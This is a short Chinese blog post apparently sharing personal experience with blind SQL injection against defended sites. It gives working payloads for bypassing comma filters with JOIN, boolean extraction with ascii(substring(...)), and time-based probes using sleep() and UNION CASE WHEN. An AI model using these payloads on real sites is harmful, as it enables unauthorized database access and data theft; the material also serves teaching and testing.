• 关于sql注入盲注,谈谈自己的心得


    1.没做防御的站点,拿上sqlmap直接怼就行了。

    2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等)

    这些就相当麻烦了,首先要探测出过滤了什么,再去构造sql语句,在本地测试通过后,再一点点完善,最后再去测试目标

    举个例子,一个站点过滤了逗号,和单引号,且数据库编码不是GB系列的,这种就不太好操作,个人手工测试,可以猜解出user(),database(),version()这些,但是完全手工也很麻烦,虽然能拿到,但是相当累。这里不用时间盲注的原因是因为,时间盲注本身,直接查询数据库是没有延迟的,但是访问某些网页根据你网络的好坏是有一定延迟的,所以这就很麻烦。

    绕过逗号可以用join

    语句

    select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select 2 ) b;
    

     

    语句

    select id,username,password from users where id=1 and (ascii(substring(user() from 2))=111);
    

     

     这里用户名是root@localhost1,查询切片第二个字符的ascii码111对应是o

    如果排除网页响应时间的干扰,是可以用时间盲注的,写个脚本跑一下就好了

    又如

    
    
    select * from users where id=1 and (ascii(substring(database() from 1))=115) and  (select sleep(2));
    
    
    

     

     如果数据不存在则会,延迟两秒返回,存在的会秒回

    这里也尝试用联合查询,但是限制有点大

    这里是用联合查询爆破表名

    UNION select case when ascii(substring((select group_concat(distinct(table_schema)) from information_schema.tables) from 1 for 1))=123 then sleep(3) else 0 end;
    

     这里有一个条件语句,如果结果存在则会执行睡眠3秒的操作。但是只能用于联合语句,对于过滤了UNION的就无效了

     
  • 相关阅读:
    编程路上有你们陪着值了
    我是屌丝程序猿,我为自己代言.
    JSON转换类
    深入理解requestAnimationFrame
    CentOS部署yapi
    前端三种路由方式
    yarn安装使用
    三大框架对比
    es6异步编程
    JS原型链
  • 原文地址:https://www.cnblogs.com/mke2fs/p/11480423.html
Copyright © 2020-2023  润新知